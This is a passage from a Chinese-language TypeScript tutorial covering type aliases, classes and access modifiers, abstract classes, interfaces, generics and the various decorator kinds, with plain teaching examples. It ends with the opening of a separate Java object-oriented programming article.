    Direction[Direction["Right"] = 3] = "Right";
})(Direction || (Direction = {}));
let x = Direction.Up;

使⽤常量枚举的 TypeScript 代码如下:

const enum Direction {
    Up,
    Down,
    Left,
    Right
}
let x = Direction.Up;

编译后⽣成的 JavaScript 代码量较⼩:

"use strict";
let x = 0 /* Direction.Up */;

type

type 可以为任意类型创建别名,让代码更简洁、可读性更强,同时能更⽅便地进⾏类型复⽤和扩展。

基本⽤法

类型别名使⽤ type 关键字定义, type 后跟类型名称,例如下⾯代码中 num 是类型别名。

type num = number

let price: num
price = 100

联合类型

联合类型是⼀种⾼级类型,它表示⼀个值可以是⼏种不同类型之⼀。

type Status = number | string
type Gender = '男' | '女'

function printStatus(status: Status) {
    console.log(status)
}

function logGender(gender: Gender) {
    console.log(gender)
}

printStatus(404);
printStatus('200');
printStatus('501');

logGender('男')
logGender('女')

交叉类型

交叉类型(Intersection Types)允许将多个类型合并为⼀个类型,合并后的类型将拥有所有被合并类型的成员。

交叉类型通常⽤于对象类型

// 面积
type Area = {
    // 宽
    width: number
    // 高
    height: number
}

// 地址
type Adddress = {
    // 楼号
    num: number
    // 单元号
    cell: number
    // 房间号
    room: string
}

// 定义类型 House, 且 House 是 Area 和 Address 组成的交叉类型
type House = Area & Adddress

const house: House = {
    width: 100,
    height: 120,
    num: 11,
    cell: 22,
    room: '401'
}

特殊情况

先来观察如下两段代码:

  • 代码段1(正常) 在函数定义时,限制函数返回值为 void ,那么函数的返回值就必须是空。
function demo(): void {
    // 返回undefined合法
    return undefined
    // 以下返回均不合法
    return 100
    return false
    return null
    return []
}

demo()
  • 代码段2(特殊) 使⽤类型声明限制函数返回值为 void 时, TypeScript 并不会严格要求函数返回空。
type LogFunc = () => void

const f1: LogFunc = () => {
    // 允许返回非空值
    return 100
}

// 允许返回非空值
const f2: LogFunc = () => 200

const f3: LogFunc = function () {
    // 允许返回非空值
    return 100
}

为什么会这样?

是为了确保如下代码成⽴,我们知道 Array.prototype.push 的返回值是⼀个数字, ⽽ Array.prototype.forEach ⽅法期望其回调的返回类型是 void.

const src = [1, 2, 3]
const dst = [0]

src.forEach((el) => dst.push(el))

Person 类:

class Person {
    // 属性声明
    name: string
    age: number

    // 构造器
    constructor(name: string, age: number) {
        this.name = name
        this.age = age
    }

    // 方法
    speak() {
        console.log(`我叫:${this.name},今年${this.age}岁`)
    }
}

// 实例
let person1 = new Person('张三', 18)

Student 类继承 Person 类:

class Student extends Person {
    grade: string

    // 构造器
    // 若 Student 类不需要额外的属性,Student 的构造器可以省略
    constructor(name: string, age: number, grade: string) {
        super(name, age)
        this.grade = grade
    }

    // 重写从⽗类继承的⽅法
    override speak() {
        console.log(`我是学⽣,我叫:${this.name},今年${this.age}岁,在读${this.grade} 年级`)
    }

    // ⼦类⾃⼰的⽅法
    study() {
        console.log(`${this.name}正在努⼒学习中......`)
    }
}

属性修饰符

修饰符含义具体规则
public公开的可以被:类内部、⼦类、类外部访问。
protected受保护的可以被:类内部、⼦类访问。
private私有的可以被:类内部访问。
readonly只读属性属性⽆法修改

public 修饰符

Person 类:

class Person {
    // name 写了 public 修饰符,age 没写修饰符,最终都是 public 修饰符
    public name: string
    age: number
    constructor(name: string, age: number) {
        this.name = name
        this.age = age
    }
    speak() {
        // 类的【内部】可以访问 public 修饰的 name 和 age
        console.log(`我叫:${this.name},今年${this.age}岁`)
    }
}
const p1 = new Person('张三', 18)
// 类的【外部】可以访问public修饰的属性
console.log(p1.name)

Student 类继承 Person 类:

class Student extends Person {
    constructor(name: string, age: number) {
        super(name, age)
    }
    study() {
        // 【⼦类中】可以访问⽗类中 public 修饰的:name 属性、age 属性
        console.log(`${this.age}岁的${this.name}正在努⼒学习`)
    }
}

属性的简写形式

  • 完整写法
class Person {
    public name: string
    public age: number

    constructor(name: string, age: number) {
        this.name = name
        this.age = age
    }
}
  • 简写形式
class Person {
    // 简写形式要写属性修饰符
    constructor(public name: string, public age: number) {

    }
}

protected 修饰符

Person 类:

class Person {
    // name 和 age 是受保护属性,不能在类外部访问,但可以在【类】与【⼦类】中访问
    constructor(
        protected name: string,
        protected age: number
    ) { }
    // getDetails 是受保护⽅法,不能在类外部访问,但可以在【类】与【⼦类】中访问
    protected getDetails(): string {
        // 类中能访问受保护的 name 和 age 属性
        return `我叫:${this.name},年龄是:${this.age}`
    }
    // introduce 是公开⽅法,类、⼦类、类外部都能使⽤
    introduce() {
        // 类中能访问受保护的getDetails⽅法
        console.log(this.getDetails());
    }
}
const p1 = new Person('杨超越', 18)
// 可以在类外部访问 introduce
p1.introduce()
// 以下代码均报错
// p1.getDetails()
// p1.name
// p1.age

Student 类继承 Person 类:

class Student extends Person {
    constructor(name: string, age: number) {
        super(name, age)
    }
    study() {
        // ⼦类中可以访问 introduce
        this.introduce()
        // ⼦类中可以访问 name
        console.log(`${this.name}正在努⼒学习`)
    }
}
const s1 = new Student('tom', 17)
s1.introduce()

private 修饰符

Person 类:

class Person {
    constructor(
        public name: string,
        public age: number,
        // IDCard 属性为私有的(private)属性,只能在【类内部】使⽤
        private IDCard: string
    ) { }
    private getPrivateInfo() {
        // 类内部可以访问私有的(private)属性 —— IDCard
        return `身份证号码为:${this.IDCard}`
    }
    getInfo() {
        // 类内部可以访问受保护的(protected)属性 —— name 和 age
        return `我叫: ${this.name}, 今年刚满${this.age}岁`;
    }
    getFullInfo() {
        // 类内部可以访问公开的 getInfo ⽅法,也可以访问私有的 getPrivateInfo ⽅法
        return this.getInfo() + ',' + this.getPrivateInfo()
    }
}
const p1 = new Person('张三', 18, '110114198702034432')
console.log(p1.getFullInfo())
console.log(p1.getInfo())
// 以下代码均报错
// p1.name
// p1.age
// p1.IDCard
// p1.getPrivateInfo()

readonly 修饰符

class Car {
    constructor(
        // 车牌 只读
        readonly carNo: string,
        // 出产年份 只读
        readonly productionYear: number,
        // 颜色
        public color: string
    ) { }

    // 显示汽车信息
    display() {
        console.log(`识别码:${this.carNo},出⼚年份:${this.productionYear},颜⾊:${this.color}`)
    }
}

const car = new Car('赣B:9999', 2002, '黑色')
car.display()
// 以下代码均错误:不能修改 readonly 属性
car.carNo = '琼B:6666'
car.productionYear = 1998

抽象类

概述:抽象类是⼀种⽆法被实例化的类,专⻔⽤来定义类的结构和⾏为,类中可以写抽象⽅法,也可以写具体实现。

抽象类主要⽤来为其派⽣类提供⼀个基础结构,要求其派⽣类必须实现其中的抽象⽅法

简记:抽象类不能实例化,其意义是可以被继承,抽象类⾥可以有普通⽅法、也可以有抽象⽅法

通过以下场景,理解抽象类:

我们定义⼀个抽象类 Package ,表示所有包裹的基本结构,任何包裹都有重量属性 weight, 包裹都需要计算运费。但不同类型的包裹(如:标准速度、特快专递)都有不同的运费计算⽅式,因此⽤于计算运费的 calculate ⽅法是⼀个抽象⽅法,必须由具体的⼦类来实现。

Package 类:

abstract class Package {
    constructor(public weight: number) {

    }

    // 抽象⽅法:⽤来计算运费,不同类型包裹有不同的计算⽅式
    abstract calculate(): number

    // 通⽤⽅法:打印包裹详情
    printPackage() {
        console.log(`包裹重量为: ${this.weight}kg,运费为: ${this.calculate()}元`)
    }
}

StandardPackage 类继承了 Package, 实现了 calculate ⽅法:

// 标准包裹
class StandardPackage extends Package {
    constructor(
        weight: number,
        // 每公斤固定的费用
        public unitPrice: number) {
        super(weight)
    }

    // 实现抽象⽅法:计算运费
    calculate(): number {
        return this.weight * this.unitPrice;
    }
}

const s1 = new StandardPackage(10, 1)
// 包裹重量为: 10kg,运费为: 10元
s1.printPackage()

ExpressPackage 类继承了 Package, 实现了 calculate ⽅法:

class ExpressPackage extends Package {
    constructor(
        weight: number,
        // 每公⽄的固定费率(快速包裹更⾼)
        private unitPrice: number,
        // 超出10kg以后的附加费
        private additional: number
    ) {
        super(weight)
    }

    // 实现抽象⽅法:计算运费
    calculate(): number {
        if (this.weight > 10) {
            // 超出 10kg 的部分,每公⽄多收 additional 对应的价格
            return 10 * this.unitPrice + (this.weight - 10) * this.additional
        } else {
            return this.weight * this.unitPrice;
        }
    }
}
// 创建特快包裹实例
const e1 = new ExpressPackage(13, 8, 2)
// 包裹重量为: 13kg,运费为: 86元
e1.printPackage()

总结:何时使⽤抽象类

  1. 定义:为⼀组相关的类定义通⽤的⾏为(⽅法或属性)时。
  2. 提供:在抽象类中提供某些⽅法或为其提供基础实现,这样派⽣类就可以继承这 些实现。
  3. 确保:强制派⽣类实现⼀些关键⾏为。
  4. 代码和逻辑:当多个类需要共享部分代码时,抽象类可以避免代码重复。

interface(接口)

interface 是⼀种定义结构的⽅式,主要作⽤是为:类、对象、函数等规定⼀种契约,这样可以确保代码的⼀致性和类型安全,但要注意 interface 只能定义格式,不能包含任何实现

  • 定义类结构
// PersonInterface 接⼝,⽤与限制 Person 类的格式
interface PersonInterface {
    name: string
    age: number
    speak(n: number): void
}

// 定义⼀个类 Person,实现 PersonInterface 接⼝
class Person implements PersonInterface {
    constructor(
        public name: string,
        public age: number
    ) { }

    speak(n: number): void {
        for (let i = 0; i < n; i++) {
            // 打印出包含名字和年龄的问候语句
            console.log(`你好,我叫${this.name},我的年龄是${this.age}`);
        }
    }
}

const p1 = new Person('张三', 18)
p1.speak(3)
  • 定义对象结构
interface UserInterface {
    name: string
    // 只读属性
    readonly gender: string
    // 可选属性
    age?: number
    run(n: number): void
}

const user: UserInterface = {
    name: '张三',
    gender: '女',
    age: 18,
    run(n) {
        console.log(`奔跑了${n}⽶`)
    }
}
  • 定义函数结构
interface CountInterface {
    (a: number, b: number): number
}

const count: CountInterface = (x: number, y: number): number => {
    return x + y
}
  • 接口之间的继承
interface PersonInterface {
    // 姓名
    name: string
    // 年龄
    age: number
}

interface StudentInterface extends PersonInterface {
    // 年级
    gender: string
}

const student: StudentInterface = { name: '张三', age: 18, gender: '六年级' }
  • 接⼝⾃动合并(可重复定义)
// PersonInterface 接⼝
interface PersonInterface {
    // 属性声明
    name: string
    age: number
}

// 给 PersonInterface 接⼝添加新属性
interface PersonInterface {
    // ⽅法声明
    speak(): void
}

// Person 类实现 PersonInterface
class Person implements PersonInterface {
    name: string
    age: number
    
    // 构造器
    constructor(name: string, age: number) {
        this.name = name
        this.age = age
    }

    // ⽅法
    speak() {
        console.log('你好!我是⽼师:', this.name)
    }
}

总结:何时使⽤接⼝

  1. 定义对象的格式:描述数据模型、API 响应格式、配置对象...等等,是开发中⽤的最多的场景。
  2. 类的契约:规定⼀个类需要实现哪些属性和⽅法。
  3. 扩展已有接⼝:⼀般⽤于扩展第三⽅库的类型,这种特性在⼤型项⽬中可能会⽤到。

相似概念

interface 与 type 的区别

  • 相同点:interface 和 type 都可以⽤于定义对象结构,在定义对象结构时两者可以互换。
  • 不同点: 1️. interface: 更专注于定义对象和类的结构,⽀持继承、合并。 2️. type: 可以定义类型别名、联合类型、交叉类型,但不⽀持继承和⾃动合并。

interface 和 type 都可以定义对象结构:

// 使⽤ interface 定义 Person 对象
interface PersonInterface {
    name: string
    age: number
    speak(): void
}

// 使⽤ type 定义 Person 对象
type PersonType = {
    name: string
    age: number
    speak(): void
}

// 使⽤PersonInterface
/* let person: PersonInterface = {
 name:'张三',
 age:18,
 speak(){
 console.log(`我叫:${this.name},年龄:${this.age}`)
 }
} */

// 使⽤PersonType
let person: PersonType = {
    name: '张三',
    age: 18,
    speak() {
        console.log(`我叫:${this.name},年龄:${this.age}`)
    }
}

interface 可以继承、合并:

interface PersonInterface {
    // 姓名
    name: string
    // 年龄 
    age: number
}

interface PersonInterface {
    speak: () => void
}

interface StudentInterface extends PersonInterface {
    // 年级 
    grade: string
}

const student: StudentInterface = {
    name: '李四',
    age: 18,
    grade: '⾼⼆',
    speak() {
        console.log(this.name, this.age, this.grade)
    }
}

type 的交叉类型:

// 使⽤ type 定义 Person 类型,并通过交叉类型实现属性的合并
type PersonType = {
    name: string;
    // 姓名
    age: number;
    // 年龄 
} & {
    speak: () => void;
}

// 使⽤ type 定义 Student 类型,并通过交叉类型继承 PersonType
type StudentType = PersonType & {
    // 年级 
    grade: string
}

const student: StudentType = {
    name: '李四',
    age: 18,
    grade: '⾼⼆',
    speak() {
        console.log(this.name, this.age, this.grade);
    }
}

interface 与抽象类的区别

  • 相同点:都能定义⼀个类的格式(定义类应遵循的契约)
  • 不相同: 1️. 接⼝:只能描述结构,不能有任何实现代码,⼀个类可以实现多个接⼝。 2️. 抽象类:既可以包含抽象⽅法,也可以包含具体⽅法, ⼀个类只能继承⼀个抽象类。

⼀个类可以实现多个接⼝:

// FlyInterface 接⼝
interface FlyInterface {
    fly(): void
}

// 定义 SwimInterface 接⼝
interface SwimInterface {
    swim(): void
}

// Duck 类实现了 FlyInterface 和 SwimInterface 两个接⼝
class Duck implements FlyInterface, SwimInterface {
    fly(): void {
        console.log('鸭⼦可以⻜')
    }

    swim(): void {
        console.log('鸭⼦可以游泳')
    }
}

// 创建⼀个 Duck 实例
const duck = new Duck();
// 鸭⼦可以⻜
duck.fly()
// 鸭⼦可以游泳
duck.swim()

泛型

泛型允许我们在定义函数、类或接⼝时,使⽤类型参数来表示未指定的类型,这些参数在具体使⽤时,才被指定具体的类型,泛型能让同⼀段代码适⽤于多种类型,同时仍然保持类型的安全性。

举例:如下代码中 <T> 就是泛型,(不⼀定⾮叫 T),设置泛型后即可在函数中使⽤ T 来表示该类型:

function logData<T>(data: T): T {
    console.log(data)
    return data
}

logData<number>(100)
logData<string>('hello world')
  • 多个泛型
function logData<T, U>(data1: T, data2: U): T | U {
    console.log(data1, data2)
    return Date.now() % 2 ? data1 : data2
}

logData<number, string>(100, 'hello world')
logData<string, boolean>('hello world', false)
  • 泛型接口
interface PersonInterface<T> {
    name: string
    age: number
    extraInfo: T
}

let p1: PersonInterface<string>
let p2: PersonInterface<number>

p1 = { name: '张三', age: 18, extraInfo: '老实人' }
p2 = { name: '李四', age: 28, extraInfo: 250 }
  • 泛型约束
interface LengthInterface {
    length: number
}

// 约束规则是:传⼊的类型 T 必须具有 length 属性
function logPerson<T extends LengthInterface>(data: T): void {
    console.log(data)
}

logPerson<string>('hello world')
// 报错:因为 number 不具备 length 属性
logPerson<number>(100)
  • 泛型类
class Person<T> {

    constructor(
        public name: string,
        public age: number,
        public extraInfo: T) {

    }

    speak() {
        console.log(`我叫${this.name}今年${this.age}岁了`)
        console.log(this.extraInfo)
    }
}

// 测试代码1
const p1 = new Person<number>("张三", 30, 250);

// 测试代码2
type JobInfo = {
    title: string
    company: string
}

const p2 = new Person<JobInfo>("李四", 30, { title: '研发总监', company: '发发发科技公司' })

类型声明文件

类型声明⽂件是 TypeScript 中的⼀种特殊⽂件,通常以 .d.ts 作为扩展名。它的主要作⽤是为现有的 JavaScript 代码提供类型信息,使得 TypeScript 能够在使⽤这些 JavaScript 库或模块时进⾏类型检查和提示。

demo.js:

export function add(a, b) {
    return a + b
}

export function mul(a, b) {
    return a * b;
}

demo.d.ts:

declare function add(a: number, b: number): number
declare function mul(a: number, b: number): number

export { add, mul }

demo.ts:

import { add, mul } from './demo.js'

// x 类型为 number
const x = add(2, 3)
// y 类型为 number
const y = mul(4, 5)

console.log(x, y)

装饰器

简介

  1. 装饰器本质是一种特殊的函数,它可以对:类、属性、方法、参数进行扩展,同时能让代码更简洁。
  2. 装饰器自 2015 年在 ECMAScript-6 中被提出到现在,已将近 10 年。
  3. 截止目前,装饰器依然是实验性特性,需要开发者手动调整配置,来开启装饰器支持。
  4. 装饰器有 5 种:
  • 类装饰器
  • 属性装饰器
  • 方法装饰器
  • 访问器装饰器
  • 参数装饰器

备注:虽然 TypeScript5.0 中可以直接使用类装饰器,但为了确保其他装饰器可用,现阶段使用时,仍建议使用 experimentalDecorators 配置来开启装饰器支持,而且不排除在来的版本中,官方会进一步调整装饰器的相关语法!

参考:《TypeScript 5.0发版公告》

https://devblogs.microsoft.com/typescript/announcing-typescript-5-0-rc/

类装饰器

基本语法

类装饰器是一个应用在类声明上的函数,可以为类添加额外的功能,或添加额外的逻辑。

// Demo 函数会在 Person 类定义时执行
// 参数说明:target 参数是被装饰的类,即:Person
function Demo(target: Function) {
    console.log(target)
}

// 使用装饰器
@Demo
class Person { }

应用举例

需求:定义一个装饰器,实现 Person 实例调用 toString 时返回 JSON.stringify 的执行结果。

// 使用装饰器重写 toString 方法 + 封闭其原型对象
function CustomToString(target: Function) {
    target.prototype.toString = function () {
        // 向被装饰类的原型上添加自定义的 toString 方法
        return JSON.stringify(this)
    }

    // 封闭其原型对象,禁止随意操作其原型对象
    Object.seal(target.prototype)
}

// 使用 CustomToString 装饰器
@CustomToString
class Person {
    constructor(
        public name: string,
        public age: number
    ) { }

    speak() {
        console.log('hello world...')
    }
}

let p1 = new Person('张三', 18)
// {"name":"张三","age":18}
console.log(p1.toString())

interface Person {
    a: any
}

// 此行会报错:Cannot add property a, object is not extensible
Person.prototype.a = 100
console.log(p1.a)

关于返回值

  • 类装饰器有返回值:若类装饰器返回一个新的类,那这个新类将替换掉被装饰的类。
  • 类装饰器无返回值:若类装饰器无返回值或返回undefined,那被装饰的类不会被替换。
function Demo(target: Function) {
    // 装饰器有返回值时,该返回值会替换掉被装饰的类
    return class {
        test() {
            console.log(100)
            console.log(200)
            console.log(300)
        }
    }
}

@Demo
class Person { }

/**
 * class {
        test() {
            console.log(100);
            console.log(200);
            console.log(300);
        }
    }
 */
console.log(Person)

关于构造类型

在 TypeScript 中,Function 类型所表示的范围十分广泛,包括:普通函数、箭头函数、方法等等。但并非Function 类型的函数都可以被 new 关键字实例化,例如箭头函数是不能被实例化的,那么 TypeScript 中该如何声明一个构造类型呢?有以下两种方式:

// 定义 Constructor 类型,代表是构造类型
/**
    new     表示:该类型是可以用 new 操作符调用。
    ...args 表示:构造器可以接受【任意数量】的参数。
    any[]   表示:构造器可以接受【任意类型】的参数。
    {}      表示:返回类型是对象(非 null、非 undefined 的对象)
 */
type Constructor = new (...args: any[]) => {}

function test(fn: Constructor) {
    console.log(fn)
}

class Person { }

/**
 * class Person {
   }
 */
test(Person)
// 定义一个构造类型,且包含一个静态属性 wife
type Constructor = {
    // 构造签名
    new(...args: any[]): {}
    // wife属性
    wife: string
};

function test(fn: Constructor) {
    console.log(fn)
}

class Person {
    static wife = 'asd'
}

/**
 * class Person {
   }
 */
test(Person)

替换被装饰的类

对于高级一些的装饰器,不仅仅是覆盖一个原型上的方法,还要有更多功能,例如添加新的方法和状态。

需求:设计一个 LogTime 装饰器,可以给实例添加一个属性,用于记录实例对象的创建时间,再添加一个方法用于读取创建时间。

// Person 接口
interface Person {
    getTime(): Date
}

// 自定义类型Class
type Constructor = new (...args: any[]) => {}

// 创建一个装饰器,为类添加日志功能和创建时间
function LogTime<T extends Constructor>(target: T) {
    return class extends target {
        createdTime: Date
        constructor(...args: any[]) {
            super(...args)
            // 记录对象创建的时间
            this.createdTime = new Date()
        }

        getTime() {
            return `该对象创建时间为:${this.createdTime}`
        }
    }
}

@LogTime
class Person {
    constructor(
        public name: string,
        public age: number
    ) { }

    speak() {
        console.log('hello world...')
    }
}

const p1 = new Person('张三', 18)
p1.speak()
// 该对象创建时间为:Wed Jan 15 2025 10:10:58 GMT+0800 (中国标准时间)
console.log(p1.getTime())

装饰器工厂

装饰器工厂是一个返回装饰器函数的函数,可以为装饰器添加参数,可以更灵活地控制装饰器的行为。

需求:定义一个 LogInfo 类装饰器工厂,实现 Person 实例可以调用到 introduce 方法,且 introduce 中输出内容的次数,由 LogInfo 接收的参数决定。

interface Person {
    introduce(): void
}

function LogInfo(n: number) {
    return function (target: Function) {
        target.prototype.introduce = function () {
            for (let i = 0; i < n; i++) {
                console.log(`我的名字:${this.name},我的年龄:${this.age}`)
            }
        }
    }
}

@LogInfo(5)
class Person {
    constructor(
        public name: string,
        public age: number
    ) { }

    speak() {
        console.log('hello world...')
    }
}

const p1 = new Person('张三', 18)
p1.speak()
p1.introduce()

装饰器组合

装饰器可以组合使用,执行顺序为:先由上到下的执行所有的装饰器工厂,依次获取到装饰器,然后再由下到上执行所有的装饰器。

//装饰器
function test1(target: Function) {
    console.log('test1')
}

//装饰器工厂
function test2() {
    console.log('test2工厂')
    return function (target: Function) {
        console.log('test2')
    }
}

//装饰器工厂
function test3() {
    console.log('test3工厂')
    return function (target: Function) {
        console.log('test3')
    }
}

//装饰器
function test4(target: Function) {
    console.log('test4')
}

/*
  控制台打印:
    test2工厂
    test3工厂
    test4
    test3
    test2
    test1
*/
@test1
@test2()
@test3()
@test4
class Person { }
interface Person {
    getTime(): Date
    introduce(): void
}

type Constructor = new (...args: any[]) => {}

function LogInfo(n: number) {
    return function (target: Function) {
        target.prototype.introduce = function () {

            for (let i = 0; i < n; i++) {
                console.log(`我的名字:${this.name},我的年龄:${this.age}`)
            }
        }
    }
}

function LogTime<T extends Constructor>(target: T) {
    return class extends target {
        createdTime: Date
        constructor(...args: any[]) {
            super(...args)
            this.createdTime = new Date()
        }

        getTime() {
            return `该对象创建时间为:${this.createdTime}`
        }
    }
}

function CustomToString(target: Function) {
    target.prototype.toString = function () {
        return JSON.stringify(this)
    }

    Object.seal(target.prototype)
}

@LogInfo(3)
@LogTime
@CustomToString
class Person {
    constructor(
        public name: string,
        public age: number
    ) { }

    speak() {
        console.log('hello world...')
    }
}

const p1 = new Person('张三', 18)
p1.speak()
console.log(p1.toString())
console.log(p1.getTime())
p1.introduce()

属性装饰器

基本语法

// target: 对于静态属性来说值是类,对于实例属性来说值是类的原型对象
// propertyKey: 属性名
function Demo(target: object, propertyKey: string) {
    console.log(target, propertyKey)
}

class Person {
    @Demo name: string
    @Demo age: number
    @Demo static school: string

    constructor(
        name: string,
        age: number
    ) {
        this.name = name
        this.age = age
    }
}

// {} 'name'
// {} 'age'
/**
class Person {
    constructor(name, age) {
        this.name = name;
        this.age = age;
    }
} 'school'
*/
const p1 = new Person('张三', 18)

关于属性遮蔽

如下代码中:当构造器中的 this.age = age 试图在实例上赋值时,实际上是调用了原型上 age 属性的 set 方法。

class Person {
    name: string
    age: number
    static school: string

    constructor(
        name: string,
        age: number
    ) {
        this.name = name
        this.age = age
    }
}

let value = 99
// 使用 defineProperty 给 Person 原型添加 age 属性,并配置对应的 get 与 set
Object.defineProperty(Person.prototype, 'age', {
    get() {
        return value
    },

    set(newValue) {
        value = newValue
    }
})

const p1 = new Person('张三', 18)
// 18
console.log(p1.age)
// 18
console.log(Person.prototype.age)

应用举例

需求:定义一个 State 属性装饰器,来监视属性的修改。

// 声明一个装饰器函数 State 用于捕获数据的修改
function State(target: object, propertyKey: string) {
    // 存储属性的内部值
    let key = `__${propertyKey}`

    // 使用 Object.defineProperty 替换类的原始属性
    // 重新定义属性,使其使用自定义的 getter 和 setter
    Object.defineProperty(target, propertyKey, {
        get() {
            return this[key]
        },
        set(newValue) {
            console.log(`${propertyKey} 的最新值为:${newValue}`)
            this[key] = newValue
        },
        enumerable: true,
        configurable: true
    })
}

class Person {
    name: string
    @State age: number

    constructor(
        name: string,
        age: number
    ) {
        this.name = name
        this.age = age
    }

    speak() {
        console.log('hello world...')
    }
}

// age 的最新值为:18
const p1 = new Person('张三', 18)
// age 的最新值为:30
const p2 = new Person('李四', 30)

// age 的最新值为:80
p1.age = 80
// age 的最新值为:90
p2.age = 90

console.log('------------------')
//80
console.log(p1.age) 
//90
console.log(p2.age) 

方法装饰器

基本语法

/**
 * 参数说明
 * @param target 对于静态方法来说值是类,对于实例方法来说值是原型对象
 * @param propertyKey 方法的名称
 * @param descriptor 方法的描述对象,其中value属性是被装饰的方法
 */
function Demo(target: object, propertyKey: string, descriptor: PropertyDescriptor) {
    console.log(target)
    console.log(propertyKey)
    console.log(descriptor)
}

class Person {
    constructor(
        public name: string,
        public age: number
    ) { }

    // Demo 装饰实例方法
    @Demo speak() {
        console.log(`你好,我的名字:${this.name},我的年龄:${this.age}`)
    }
    // Demo 装饰静态方法
    @Demo static isAdult(age: number) {
        return age >= 18;
    }
}

// {speak: ƒ}constructor: class Personspeak: ƒ speak()[[Prototype]]: Object
// speak
// {writable: true, enumerable: false, configurable: true, value: ƒ}
/**
 class Person {
     constructor(name, age) {
         this.name = name;
         this.age = age;
     }
     // Demo 装饰实例方法
     speak() {
         console.log(`你好,我的名字:${this.name},我的年龄:${this.age}`);
     }
 */
// isAdult
// {writable: true, enumerable: false, configurable: true, value: ƒ}
const p1 = new Person('张三',18)

// 你好,我的名字:张三,我的年龄:18
p1.speak()

应用举例

需求:

  1. 定义一个 Logger 方法装饰器,用于在方法执行前和执行后,均追加一些额外逻辑。
  2. 定义一个 Validate 方法装饰器,用于验证数据。
function Logger(target: object, propertyKey: string, descriptor: PropertyDescriptor) {
    // 保存原始方法
    const original = descriptor.value
    // 替换原始方法
    descriptor.value = function (...args: any[]) {
        console.log(`${propertyKey}开始执行......`)
        const result = original.call(this, ...args)
        console.log(`${propertyKey}结束执行......`)
        return result
    }
}

function Validate(maxValue: number) {
    return function (target: object, propertyKey: string, descriptor: PropertyDescriptor) {
        // 保存原始方法
        const original = descriptor.value
        // 替换原始方法
        descriptor.value = function (...args: any[]) {
            // 自定义的验证逻辑
            if (args[0] > maxValue) {
                throw new Error('年龄非法')
            }

            // 如果所有参数都符合要求,则调用原始方法
            return original.apply(this, args)
        }
    }
}

class Person {
    constructor(
        public name: string,
        public age: number
    ) { }

    @Logger speak() {
        console.log(`你好,我的名字:${this.name},我的年龄:${this.age}`)
    }

    @Validate(120)
    static isAdult(age: number) {
        return age >= 18
    }
}

const p1 = new Person('张三', 18)
// speak开始执行......
// 你好,我的名字:张三,我的年龄:18
// speak结束执行......
p1.speak()

// Uncaught Error: 年龄非法
Person.isAdult(130)

访问器装饰器

基本语法

/**
 * 
 * @param target 1.对于实例访问器来说值是【所属类的原型对象】 2. 对于静态访问器来说值是【所属类】
 * @param propertyKey 访问器的名称
 * @param descriptor 描述对象
 */
function Demo(target: object, propertyKey: string, descriptor: PropertyDescriptor) {
    console.log(target)
    console.log(propertyKey)
    console.log(descriptor)
}

class Person {
    @Demo getAddress() {
        return '南京路111号'
    }

    @Demo static getCountry() {
        return '中国'
    }
}

应用举例

需求:对 Weather 类的 temp 属性的 set 访问器进行限制,设置的最低温度 -50,最高温度 50.

function RangeValidate(minValue: number, maxValue: number) {

    return function (target: object, propertyKey: string, descriptor: PropertyDescriptor) {
        // 保存原始的 setter 方法,以便在后续调用中使用
        const originalSet = descriptor.set

        descriptor.set = function (value: number) {
            // 检查设置的值是否在范围之内
            if (value < minValue || value > maxValue) {
                throw new Error(`${propertyKey}的值应该在 ${minValue}${maxValue}之间!`);
            }

            // 如果值在范围内,且原始 setter 方法存在,则调用原始 setter 方法
            if (originalSet) {
                originalSet.call(this, value)
            }
        }

    }
}

class Weather {
    private _temp: number
    constructor(_temp: number) {
        this._temp = _temp
    }

    // 设置温度范围在 -50 到 50 之间
    @RangeValidate(-50, 50)
    set temp(value) {
        this._temp = value;
    }
    get temp() {
        return this._temp;
    }
}

const w1 = new Weather(25)
console.log(w1.temp)
// Uncaught Error: temp的值应该在 -50 到 50之间!
w1.temp = 200

参数装饰器

基本语法

/**
 * 
 * @param target 1.如果修饰的是【实例方法】的参数,target 是类的【原型对象】 2.如果修饰的是【静态方法】的参数,target 是【类】
 * @param propertyKey 参数所在的方法的名称
 * @param parameterIndex 参数在函数参数列表中的索引,从 0 开始
 */
function Demo(target: object, propertyKey: string, parameterIndex: number) {
    /**
     * {}
     */
    console.log(target)
    // speak
    console.log(propertyKey)
    // 0
    console.log(parameterIndex)
}

class Person {
    constructor(
        public name: string,
        public age: number
    ) { }

    speak(@Demo message1: any, mesage2: any) {
        console.log(`${this.name} 想对说:${message1}${mesage2}`);
    }
}

应用举例

需求:定义方法装饰器 Validate, 同时搭配参数装饰器 NotNumber, 来对 speak 方法的参数类型进行限制。

function NotNumber(target: any, propertyKey: string, parameterIndex: number) {
    // 初始化或获取当前方法的参数索引列表
    let notNumberArr: number[] = target[`__notNumber_${propertyKey}`] || []

    // 将当前参数索引添加到列表中
    notNumberArr.push(parameterIndex)

    // 将列表存储回目标对象
    target[`__notNumber_${propertyKey}`] = notNumberArr

}

// 方法装饰器定义
function Validate(target: any, propertyKey: string, descriptor: PropertyDescriptor) {

    const method = descriptor.value

    descriptor.value = function (...args: any[]) {
        // 获取被标记为不能为空的参数索引列表
        const notNumberArr: number[] = target[`__notNumber_${propertyKey}`] || []

        // 检查参数是否为 null 或 undefined
        for (const index of notNumberArr) {
            if (typeof args[index] === 'number') {
                throw new Error(`方法 ${propertyKey} 中索引为 ${index} 的参数不能是数字!`)
            }
        }
        // 调用原始方法
        return method.apply(this, args)
    }

    return descriptor
}

class Person {
    constructor(
        public name: string,
        public age: number
    ) { }

    @Validate
    speak(@NotNumber message1: any, mesage2: any) {
        console.log(`${this.name} 想对说:${message1}${mesage2}`);
    }
}

const p1 = new Person("张三", 18)
// Uncaught Error: 方法 speak 中索引为 0 的参数不能是数字!
p1.speak(100, 200)

by Java陈序员 at January 24, 2025 01:24 AM

前端视角 Java Web 入门手册 1.4:Java 的面向对象

对于 JavaScript 开发者来说,面向对象编程中的封装、继承等特性并不陌生。JavaScript 是一种灵活的编程语言,它同时支持面向对象和面向过程的程序设计范式。由于 JavaScript 中的函数具有 “头等公民” 的地位,可以像变量一样被传递和操作,在日常开发中,开发者更容易编写出函数式编程风格的代码。而 Java 则在面向对象编程方面有着更为严格和复杂的规则。接下来我们来了解下 Java 中面向对象的关键概念

访问限制符

在 Java 中,访问限制符用于控制类、接口、变量、方法等成员的访问范围,以保证程序的安全性和可维护性。Java 中有四种访问限制符:

  1. public:具有最大的访问权限,任何类、接口、包都能访问被 public 修饰的成员,是最宽松的访问限制符。
  2. protected:访问权限次之,被 protected 修饰的成员能被同一个包中的类、接口访问,即使在不同包中,只要是其子类也可以访问。
